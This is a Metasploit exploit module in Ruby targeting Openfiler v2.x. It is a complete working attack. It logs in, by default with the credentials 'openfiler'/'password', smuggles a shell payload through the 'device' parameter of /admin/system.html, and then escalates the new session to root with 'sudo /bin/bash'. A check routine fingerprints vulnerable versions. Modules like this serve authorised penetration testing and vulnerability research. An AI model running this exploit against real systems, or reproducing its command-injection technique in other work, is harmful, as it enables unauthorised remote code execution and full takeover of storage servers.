## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Openfiler v2.x NetworkCard Command Execution", 'Description' => %q{ This module exploits a vulnerability in Openfiler v2.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'openfiler' user. The 'system.html' file uses user controlled data from the 'device' parameter to create a new 'NetworkCard' object. The class constructor in 'network.inc' calls exec() with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without providing a system password. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles ' # Discovery and exploit ], 'References' => [ ['BID', '55490'], ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'], ['OSVDB', '93881'], ['EDB', '21191'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet python perl', } }, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Sep 04 2012", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(446), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']), OptString.new('PASSWORD', [true, 'The password for the application', 'password']) ]) end def check # retrieve software version from login page vprint_status("Sending check") begin res = send_request_cgi({ 'uri' => '/' }) if res and res.code == 200 and res.body =~ /Distro Release: <\/strong>Openfiler [NE]SA 2\./ return Exploit::CheckCode::Appears elsif res and res.code == 200 and res.body =~ /Openfiler Storage Control Center<\/title>/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Connection failed") return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def on_new_session(client) client.shell_command_token("sudo /bin/bash") end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = Rex::Text.uri_encode("&#{payload.raw}&") # send payload print_status("Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ 'uri' => '/admin/system.html', 'cookie' => "usercookie=#{user}; passcookie=#{pass};", 'encode_params' => false, 'vars_get' => { 'step' => '2', 'device' => "lo#{cmd}" } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unknown, 'Connection failed') end if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/ print_good("Payload sent successfully") elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/ fail_with(Failure::NoAccess, 'Authentication failed') else fail_with(Failure::Unknown, 'Sending payload failed') end end end